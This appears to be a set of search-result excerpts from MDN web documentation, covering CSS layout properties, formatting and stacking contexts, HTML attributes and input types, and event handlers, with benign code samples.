...d-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: 100px 200px; } auto-placement by column you can also ask grid to auto-place items by column. using the property grid-auto-flow with a value of column. in this case grid will add items in rows that you have defined using grid-template-rows. when it fills up a column it will move onto the next explicit column, or create a
new column track in the implicit grid. as with implicit row tracks, these column tracks will be auto sized. you can control the size of implicit column tracks with grid-auto-columns, this works in the same way as grid-auto-rows. in this next example i have created a grid with three row tracks of 200 pixels height. i am auto-placing by column and the columns created will be a column width of 300 pixe...
Overview of CSS Shapes - CSS: Cascading Style Sheets
he text to wrap round the right and bottom of the item in a rectangular fashion. if you then apply a circle shape, the text would then wrap round the line of the circle. there are a number of ways to create these shapes and in these guides we will find out how css shapes work, and consider some ways you might like to use them. what does the specification define? the specification defines three
new properties: shape-outside — allows definition of basic shapes shape-image-threshold — sets an opacity threshold value. if an image is being used to define the shape, only the parts of the image that are the same opacity or greater than the threshold value are used in the shape. any other parts are ignored. shape-margin — sets a margin around the defined shape defining basic shapes t...
...way the same area that we have used to define the shape. developer tools for shapes along with css shapes support in the browser, firefox are shipping a shape path editor in the firefox devtools. this tool means that you can inspect any shapes on your page, and even change the values in the live page. if your polygon isn’t quite right you can use the shapes editor to tweak it, then copy the
new value back into your css. the shape path editor will be enabled by default in firefox 60 for shapes generated via clip-path. you can also use it to edit shapes generated via shape-outside, but only when you enable it via the layout.css.shape-outside.enabled pref. future css shapes features the initial shapes specification included a property shape-inside for creating shapes inside an element. ...
Shorthand properties - CSS: Cascading Style Sheets
d to a selected element to be the same as that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a
newer value, revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to ...
... html and css. for example: the second list item has the class my-class-1 applied. this sets the color of the <a> element nested inside to inherit. if you remove the rule how does it change the color of the link? do you understand why the third and fourth links are the color that they are? check the description of the values above if not. which of the links will change color if you define a
new color for the <a> element — for example a { color: red; }? see cascade and inheritance or introducing the css cascade for more information about how inheritance works in css. see also css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, sp...
Visual formatting model - CSS: Cascading Style Sheets
addition, the references for specific values of display explain how these formatting contexts work in terms of box layout. css grid layout css flexible box layout css table layout lists independent formatting contexts elements either participate in the formating context of their containing block or establish an independent formatting context. ...
...ut lists independent formatting contexts elements either participate in the formating context of their containing block or establish an independent formatting context. a grid container, for example, establishes a
new grid formatting context for its children. independent formatting contexts contain floats, and margins do not collapse across formatting context boundaries. therefore, creating a
new block formatting context can ensure that floats remain inside a box. developers sometimes clear floats by changing the value of the overflow property, as this creates a
new block formatting context. the
newer value of display: flow-root creates a
new block formatting context in order to gain the useful effects of this, without any unwanted issues caused by changing the value of overflow. block b...
WebKit CSS extensions - CSS: Cascading Style Sheets
old prefixed syntax is still supported in some browsers. webkit-prefixed properties on the standards track -webkit-appearance -webkit-font-size-delta -webkit-mask-composite -webkit-mask-position-x -webkit-mask-position-y -webkit-mask-repeat-x -webkit-mask-repeat-y formerly proprietary properties that are now standard n...
...rations-in-effect -webkit-text-fill-color -webkit-text-security -webkit-text-stroke-color -webkit-text-stroke-width -webkit-text-stroke -webkit-text-zoom -webkit-transform-origin-x -webkit-transform-origin-y -webkit-transform-origin-z u -webkit-user-drag -webkit-user-modify * a few are on the standards, unprefixed track **
new syntax has been standardized. property links to the
new synax. old prefixed syntax is still supported in some browsers. webkit-prefixed properties on the standards track -webkit-appearance -webkit-font-size-delta -webkit-mask-composite -webkit-mask-position-x -webkit-mask-position-y -webkit-mask-repeat-x -webkit-mask-repeat-y formerly proprietary properties that are now standard note: to maximize the compatibility of your css, you shou...
box-direction - CSS: Cascading Style Sheets
the -moz-box-direction will only be used for xul while the previous standard box-direction has been replaced by flex-direction. see flexbox for information about the current standard. the box-direction css property specifies whether a box lays out its contents normally (from the top or left edge), or in reverse (from the bottom or right edge). ...
... full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support no support no supportnon-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in
new websites.deprecated. not for use in
new websites.user must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also box-orient box-pack box-align flex-direction ...
box-lines - CSS: Cascading Style Sheets
see flexbox for information about the current standard. the box-lines css property determines whether the box may have a single or multiple lines (rows for horizontally oriented boxes, columns for vertically oriented boxes). /* keyword values */ box-lines: single; box-lines: multiple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column. this behavior can be changed using the box-lines property. ...
... to multiple lines (that is, multiple rows or columns) in order to accommodate all of its children. the box must attempt to fit its children on as few lines as possible by shrinking all elements down to their minimum widths or heights if necessary. if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a
new line, until the elements remaining on the previous line fit. this process can repeat to an arbitrary number of lines. if a line contains only a single element that doesn't fit, then the element should stay on that line and overflow out of the box. the later lines are placed below the earlier lines in normal direction boxes and above in reverse direction boxes. the height of a line is the height o...
clip-path - CSS: Cascading Style Sheets
attribute is specified for the element creating the svg viewport, the reference box is positioned at the origin of the coordinate system established by the viewbox attribute and the dimension of the size of the reference box is set to the width and height values of the viewbox attribute. none no clipping path is created. note: a computed value other than none results in the creation of a
new stacking context the same way that css opacity does for values other than 1. formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to reference box when specified, otherwise border-boxcomputed valueas specified, but with <url> values made absoluteanimation typeyes, as s...
...)<circle()> = circle( [ <shape-radius> ]? [ at <position> ]? )<ellipse()> = ellipse( [ <shape-radius>{2} ]? [ at <position> ]? )<polygon()> = polygon( <fil...
contain - CSS: Cascading Style Sheets
on of them for a limited area of the dom and not the entire page, leading to obvious performance benefits. this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from having side effects outside of the widget's bounding-box. note: if applied (with value: paint, strict or content), this property creates: a
new containing block (for the descendants whose position property is absolute or fixed). a
new stacking context. a
new block formatting context. syntax /* keyword values */ contain: none; contain: strict; contain: content; contain: size; contain: layout; contain: style; contain: paint; /* multiple keywords */ contain: size paint; contain: size layout paint; /* global values */ contain: inheri...
...other article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when
new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content h...
content - CSS: Cascading Style Sheets
<a href="http://www.mozilla.org/">mozilla home page</a> css a::before { content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") / " mozilla: "; font: x-small arial, sans-serif; color: gray; } result targeting classes this example inserts additional text after special items in a list. ...
...re { content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") / " mozilla: "; font: x-small arial, sans-serif; color: gray; } result targeting classes this example inserts additional text after special items in a list. html <h2>paperback best sellers</h2> <ol> <li>political thriller</li> <li class="
new-entry">halloween stories</li> <li>my biography</li> <li class="
new-entry">vampire romance</li> </ol> css .
new-entry::after { content: "
new!"; /* the leading space creates separation between the added content and the rest of the content */ color: red; } result images and element attributes this example inserts an image before each link, and adds its id attribute after. html <ul> <li><a id="moz" href...
counter-set - CSS: Cascading Style Sheets
note: the counter's value can be incremented or decremented using the counter-increment css property. ...
... may specify as many counters to reset as you want, with each name or name-number pair separated by a space. the keyword value none. values <custom-ident> the name of the counter to set. <integer> the value to set the counter to on each occurrence of the element. defaults to 0 if not specified. if there isn't currently a counter of the given name on the element, the element will create a
new counter of the given name with a starting value of 0 (though it may then immediately set or increment that value to something different). none no counter set is to be performed. this can be used to override a counter-set defined in a less specific rule. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <cust...
<display-inside> - CSS: Cascading Style Sheets
and-inline layout). if its outer display type is inline or run-in, and it is participating in a block or inline formatting context, then it generates an inline box. otherwise it generates a block container box. depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a
new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context. flow-root the element generates a block element box that establishes a
new block formatting context, defining where the formatting root lies. table these elements behave like html <table> elements. it defines a block-level box. flex the element behaves like a block element and la...
...he inner value only, such as when display: flex or display: grid is specified, will set their outer value to block. this will result in expected behavior; for example if you specify an element to be display: grid, you would expect that the box created on the grid container would be a block level box. examples in this example the parent box has been given display: flow-root and so establishes a
new bfc and contains the floated item. html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px; background-color: white; border:1px solid black; ...
font-family - CSS: Cascading Style Sheets
ends on user agentapplies toall elements. ...
.../div> <div class="math"> this is an example of a math font. </div> <div class="emoji"> this is an example of an emoji font. </div> <div class="fangsong"> this is an example of a fangsong font. </div> specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification. working draft adds
new generic font families, specifically: system-ui, ui-serif, ui-sans-serif, ui-monospace, ui-rounded, emoji, math, and fangsong. css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation no significant change css level 2 (revision 1)the definition of 'font-family' in that specification. recommendation no significant change ...
isolation - CSS: Cascading Style Sheets
the isolation css property determines whether an element must create a
new stacking context. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property is especially helpful when used in conjunction with mix-blend-mode. syntax /* keyword values */ isolation: auto; isolation: isolate; /* global values */ isolation: inherit; isolation: initial; isolation: unset; the isolation property is specified as one of the keyword values listed below. values auto a
new stacking context is created only if one of the properties applied to the element requires it. isolate a
new stacking context must be created. for...
...ext is created only if one of the properties applied to the element requires it. isolate a
new stacking context must be created. formal definition initial valueautoapplies toall elements. ...
mask - CSS: Cascading Style Sheets
fully) by masking or clipping the image at specific points. as well as the properties listed below, the mask shorthand also resets mask-border to its initial value. it is therefore recommended to use the mask shorthand rather than other shorthands or the individual properties to override any mask settings earlier in the cascade. this will ensure that mask-border has also been reset to allow the
new styles to take effect. constituent properties this property is a shorthand for the following css properties: mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size syntax /* keyword values */ mask: none; /* image values */ mask: url(mask.png); /* pixel image used as mask */ mask: url(masks.svg#star); /* ...
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification. recommendation initial definition. ...
Guide to scroll anchoring - CSS: Cascading Style Sheets
on and begin to scroll to read the content; while you are busy reading, the part of the page you are looking at suddenly jumps. this has happened because large images or some other elements have just loaded further up in the content. scroll anchoring is a browser feature that aims to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a
new part of the document. how does it work? scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually changes in terms of how far they have moved through the document. how do i turn on scroll anchoring? you don't! the fea...
...ring.enabled to false in about:config. if it does, you can check what node is firefox using as the anchor using the layout.css.scroll-anchoring.highlight switch. that will show a purple overlay on top of the anchor node. if one node doesn't seem appropriate to be an anchor, you can exclude it using overflow-anchor, as described below. what if i need to disable it? the specification provides a
new property, overflow-anchor, which can be used to disable scroll anchoring on all or part of the document. it's essentially a way to opt out of the
new behavior. the only possible values are auto or none: auto is the initial value; as long as the user has a supported browser the scroll anchoring behavior will happen, and they should see fewer content jumps. none means that you have explicitly ...
overflow-x - CSS: Cascading Style Sheets
l implicitly compute to auto. hidden content is clipped if necessary to fit horizontally in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a
new formatting context. if you wish to start a
new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit horizontally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. aut...
...t is clipped if necessary to fit horizontally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a
new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible...
overflow-y - CSS: Cascading Style Sheets
ing box's top and bottom edges. hidden content is clipped if necessary to fit vertically in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a
new formatting context. if you wish to start a
new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit vertically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto ...
...ent is clipped if necessary to fit vertically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a
new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible...
<shape> - CSS: Cascading Style Sheets
see also related css property: clip the -moz-image-rect() function has similar coordinate values to rect(). ...
... see also related css property: clip the -moz-image-rect() function has similar coordinate values to rect(). ...
<string> - CSS: Cascading Style Sheets
, \22 represents a double quote, \27 a single quote ('), and \a9 the copyright symbol (©). importantly, certain characters which would otherwise be invalid can be escaped with a backslash. these include double quotes when used inside a double-quoted string, single quotes when used inside a single-quoted string, and the backslash itself. for example, \\ will create a single backslash. to output
new lines, you must escape them with a line feed character such as \a or \00000a. in your code, however, strings can span multiple lines, in which case each
new line must be escaped with a \ as the last character of the line. however, to get
new lines, you must also set the white-space property to appropriate value. note: html entities (such as or —) cannot be used in a css <string>. ...
... candidate recommendati...
text-rendering - CSS: Cascading Style Sheets
discrete formal syntax auto | optimizespeed | optimizelegibility | geometricprecision examples automatic application of optimizelegibility this demonstrates how optimizelegibility is used by browsers automatically when the font-size is smaller than 20px. html <p class="small">lyowat - ff fi fl ffl</p> <p class="big">lyowat - ff fi fl ffl</p> css .small { font: 19.9px "constantia", "times
new roman", "georgia", "palatino", serif; } .big { font: 20px "constantia", "times
new roman", "georgia", "palatino", serif; } result optimizespeed vs optimizelegibility this example shows the difference between the appearance of optimizespeed and optimizelegibility (in your browser; other browsers may vary). html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff f...
...20px "constantia", "times
new roman", "georgia", "palatino", serif; } result optimizespeed vs optimizelegibility this example shows the difference between the appearance of optimizespeed and optimizelegibility (in your browser; other browsers may vary). html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times
new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1...
WAI ARIA Live Regions/API Support - Developer guides
ged::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual
new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets...
...r role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_
newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equiv...
Challenge solutions - Developer guides
r text in the second paragraph blue. solution add a rule with an id selector of #second and a declaration color: blue;, as shown below: #second { color: blue; } a more specific selector, p#second also works. both paragraphs blue challenge now change the rule you have just added (without changing anything else), to make the first paragraph blue too. solution change the selector of the
new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph. readable css commenting out a rule challenge comment out part of your stylesheet, without changing anything else, to make the very first letter of your document red. solution one way to do this is to put comment delimiters...
...enge add a rule to your stylesheet, to number the oceans using roman numerals from i to v. solution define a rule for list items to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your stylesheet to identify the headings with capital letters in parentheses. solution add a rule to the body element (parent of the headings) to reset a
new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} h3:before { content: "(" counter(headnum, upper-latin) ") "; counter-increment: headnum; } boxes ocean border challenge add one rule to your stylesheet, making a wide border all around the oceans in a color that reminds you of the sea. solution the follow...
DOM onevent handlers - Developer guides
r has been called, unless one of the event handlers explicitly halts the processing of the event by calling stoppropagation() on the event object itself. non-element objects event handlers can also be set with properties on non-element objects that generate events, like window, document, xmlhttprequest, and others. for example, for the progress event on instances of xmlhttprequest: const xhr =
new xmlhttprequest(); xhr.onprogress = function() { … }; html onevent attributes html elements have attributes named onevent which can be used to register a handler for an event directly within the html code. when the element is built from the html, the value of its onevent attributes are copied to the dom object that represents the element, so that accessing the attributes' values using javascri...
... html living standardthe definition of 'event handlers' in that specification. living standard html5the definition of 'event handlers' in that specification. recommendation browser compatibility detecting the presence of event handler properties you can detect the presence of an event handler property with the javascript in operator. for example: if ("onsome
newfeature" in window) { /* do something amazing */ } event handlers and prototypes you can't set or access the values of any idl-defined attributes on dom prototype objects. that means you can't, for example, change window.prototype.onload. in the past, event handlers (onload, etc.) weren't implemented as idl attributes in gecko, so you were able to do this for those. now you can't. this improv...
Overview of events and handlers - Developer guides
addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser requests a
new page. with the change to dynamic page rendering, browsers loop continuously between processing, drawing, presenting content, and waiting for some
new event trigger. event triggers include the completion of the loading of a resource on the network e.g., downloads an image that can now be drawn on the screen, the completion of parsing a resource by the browser e.g., processes the html content of a ...
...nts of the page e.g., clicks a button. douglas crockford explains this change effectively in several lectures, notably his talk, an inconvenient api: the theory of the dom, which shows the change in flow from the original browser flow to the event driven browser. the latter approach changes the last steps from a single flow into a perpetual loop, where waiting for and handling the incidence of
new events follows painting. the innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrieving all resources; this approach also allows for event driven actions, which javascript leverages. (the talk is available from several sources, including this one.) currently, all execution environments for javascript code use events and event ha...
Localizations and character encodings - Developer guides
ales with different fallback encodings. to avoid introducing this problem in locales where web publishing took off after the adoption of utf-8, locales that don't have a non-windows-1252 legacy encoding arising from the practices of the 1990s, should leave the fallback encoding at windows-1252 to facilitate reading content cross-locale from the old locales whose fallback encoding is windows-1252.
new-authored locale-native utf-8 content is expected to declare its encoding, in which case the fallback encoding does not participate in the processing of content. additionally, there is a small number of locales where in the 1990s there wasn't an obvious single region-specific encoding and heuristic detection among multiple legacy encodings was introduced to web browsers. this has then had the eff...
...! the fallback encoding should be left to windows-1252 for western european locales, north, central and south american locales, african locales, central asian locales and oceanian locales. it typically needs to be set to something other than windows-1252 for central and eastern european locales, middle eastern locales and east asian locales. in order to avoid the problem of web authors creating
new utf-8 content without declaring that the content uses utf-8 and in order to maximize the ability of users to read content cross-locale, do not set the fallback encoding to utf-8 for any
newly-introduced localization. note that firefox no longer sends the accept-charset http header, so there is no need to consider what gets advertised in accept-charset when setting the fallback encoding. for loca...
A hybrid approach - Developer guides
bad one downside of mixing approaches is that it can lead to an increase in the number of code paths, both on the client and server side. this can make it more time-consuming to develop than other approaches. with proper planning, though, the code can still be organized in a maintainable way. another downside is that because this approach relies on responsive design, it typically works best on a
new project or one that has an existing flexible layout, not as a retrofit. similarly, because it uses user-agent detection, you will have to update your detection rules as time goes on. when it is right to choose this option combining server-side and client-side techniques is something that is always worth considering; there are so many options that one must just weigh the pros and cons of each in...
...oute visitors to a landing page for the firefox version for their device. every page on the site should look great at a wide variety of resolutions, being built with responsive design in mind. future plans include exploring serving images based on user-agent. so far there is not much to see for mobile, since things are still in the formative stages of development, but you can always watch the
new mozilla.org grow up on github. subscribe to the mozilla webdev blog for updates about our progress. summary no approach is a one-size-fits-all solution. web applications that want to heavily modify the content or user flow for mobile users should probably go for a separate mobile site. content-oriented pages that don’t need to modify their content for mobile users will be satisfied with respo...
Mobile Web Development - Developer guides
pared with desktop or laptop computers. their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. they usually have touch screens for user input. apis like geolocation or orientation are either not supported on desktops or are much less useful, and these apis give mobile users
new ways to interact with your site. working with small screens responsive web design is a term for a set of techniques that enables your web site to adapt its layout as its viewing environment — most obviously, the size and orientation of the screen — changes. it includes techniques such as: fluid css layouts, to make the page adapt smoothly as the browser window size changes the use of me...
...es to help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolution. you do this in css by querying for screen height, width, and pixel ratio. you can also make use of css properties to implement visual effects like gradients and shadows without images. mobile apis finally, you can take advantage of the
new possibilities offered by mobile devices, such as orientation and geolocation. cross-browser development write cross-browser code to create web sites that will work acceptably across different mobile browsers: try to avoid using browser-specific features, such as vendor-prefixed css properties. if you do need to use these features, check whether other browsers implement their own versions o...
Writing forward-compatible websites - Developer guides
this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. ...
...nclick="alert(ownerdocument)">click me</div> then clicking on the text alerts the ownerdocument of the div. this happens even if there is a var ownerdocument declared in global scope. what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a
new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. this has happened multiple times to various sites already during the evolution of html5. to avoid this, fully qualify global variable access using "window.", like so: <script> function localname() { alert(...
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
for browsers to provide one for your use through the <input> element, by using "color" as the value of its type attribute. the <input> element represents a color only in the hexadecimal string notation covered above. example: picking a color let's look at a simple example, in which the user can choose a color. as the user adjusts the color, the border around the example changes to reflect the
new color. after finishing up and picking the final color, the color picker's value is displayed. on macos, you indicate that you've finalized selection of the color by closing the color picker window. html the html here creates a box that contains a color picker control (with a label created using the <label> element) and an empty paragraph element (<p>) into which we'll output some text from...
...les: medline plus: color blindness (united states national institute of health) american academy of ophthamology: what is color blindness? color blindness & web design (usability.gov: united states department of health and human services) palette design example let's consider a quick example of selecting an appropriate color palette for a site. imagine that you're building a website for a
new game that takes place on the planet mars. so let's do a google search for photos of mars. lots of good examples of martian coloration there. we carefully avoid the mockups and the photos from movies. and we decide to use a photo taken by one of the mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. we use a color picker t...
HTML attribute: capture - HTML: Hypertext Markup Language
values include user and environment. the capture attribute is supported on the file input type. the capture attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types. value description user the user-facing camera and/or microphone should be used. ...
...ld be used note: capture was previously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. examples when set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a
new one. <p> <label for="soundfile">what does your voice sound like?:</label> <input type="file" id="soundfile" capture="user" accept="audio/*"> </p> <p> <label for="videofile">upload a video:</label> <input type="file" id="videofile" capture="environment" accept="video/*"> </p> <p> <label for="imagefile">upload a photo of yourself:</label> <input type="file" id="imagefile" capture="user" ...
HTML attribute reference - HTML: Hypertext Markup Language
border <img>, <object>, <table> the border width. note: this is a legacy attribute. please use the css border property instead. buffered <audio>, <video> contains the time range of already buffered media. capture <input> from the html media capturethe definition of 'media capture' in that specification.spec, specifies a
new file can be captured. challenge <keygen> a challenge string that is submitted along with the public key. charset <meta>, <script> declares the character encoding of the page or script. checked <command>, <input> indicates whether the element should be checked on page load. cite <blockquote>, <del>, <ins>, <q> contains a uri which points ...
...ol> indicates whether the list should be displayed in a descending order instead of a ascending. rows <textarea> defines the number of rows in a text area. rowspan <td>, <th> defines the number of rows a table cell should span over. sandbox <iframe> stops a document loaded in an iframe from using certain features (such as submitting forms or opening
new windows). scope <th> defines the cells that the header test (defined in the th element) relates to. scoped <style> selected <option> defines a value which will be selected on page load. shape <a>, <area> size <input>, <select> defines the width of the element (in pixels). if the element's type attribute is text or passwo...
<area> - HTML: Hypertext Markup Language
browsers, notably internet explorer 4 and higher, support circ, polygon, and rectangle as valid values for shape, but these values are non-standard. target a keyword or author-defined name of the browsing context to display the linked resource. the following keywords have special meanings: _self (default): show the resource in the current browsing context. _blank: show the resource in a
new, unnamed browsing context. _parent: show the resource in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. _top: show the resource in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). if there is no parent, acts the same as _self. use this attrib...
...e in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. _top: show the resource in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). if there is no parent, acts the same as _self. use this attribute only if the href attribute is present. note: in
newer browser versions (e.g. firefox 79+) setting target="_blank" on <area> elements implicitly provides the same rel behavior as setting rel="noopener". deprecated attributes name define a names for the clickable area so that it can be scripted by older browsers. nohref indicates that no hyperlink exists for the associated area. note: since html5, omitting the href attribute is su...
<input type="image"> - HTML: Hypertext Markup Language
the <form> that owns this input. in addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form. this will replace the current document with the received data. this is the default value used if none is specified. _blank loads the response into a
new, unnamed, browsing context. this is typically a
new tab in the same window as the current document, but may differ depending on the configuration of the user agent. _parent loads the response into the parent browsing context of the current one. if there is no parent context, this behaves the same as _self. _top loads the response into the top-level browsing context; this is the browsing conte...
...f, or keyword for, a browsing context (for example, tab, window, or inline frame). if this attribute is specified, it overrides the target attribute of the element's form owner. the following keywords have special meanings: _self: load the response into the same browsing context as the current one. this value is the default if the attribute is not specified. _blank: load the response into a
new unnamed browsing context. _parent: load the response into the parent browsing context of the current one. if there is no parent, this option behaves the same way as _self. _top: load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). if there is no parent, this option behaves the same as _self. usin...
<input type="week"> - HTML: Hypertext Markup Language
"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the other part of the code that may be of interest is the feature detection code. to detect whether the browser supports <input type="week">, we create a
new <input> element, try setting its type to week, then immediately check what its type is set to. non-supporting browsers will return text, because the week type falls back to type text. if <input type="week"> is not supported, we hide the native picker and show the fallback picker ui (<select>s) instead. // define variables var nativepicker = document.queryselector('.nativeweekpicker'); var fallba...
....queryselector('.nativeweekpicker'); var fallbackpicker = document.queryselector('.fallbackweekpicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var weekselect = document.queryselector('#fallbackweek'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a
new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'week'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.d...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
se provide useful hints to allow the browser to choose the most appropriate icon available. you can also provide a media type or query inside a media attribute; this resource will then only be loaded if the media condition is true. for example: <link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"> some interesting
new performance and security features have been added to the <link> element too. take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as attribute indicating the specific class of conten...
... html 4.01 specificationthe definition of '<link>' in that specification. recommendation ...
<listing> - HTML: Hypertext Markup Language
see also the <pre> and <code> elements to be used instead. the <plaintext> and <xmp> elements, similar to <listing> but also obsolete. ...
... see also the <pre> and <code> elements to be used instead. the <plaintext> and <xmp> elements, similar to <listing> but also obsolete. ...
<menu> - HTML: Hypertext Markup Language
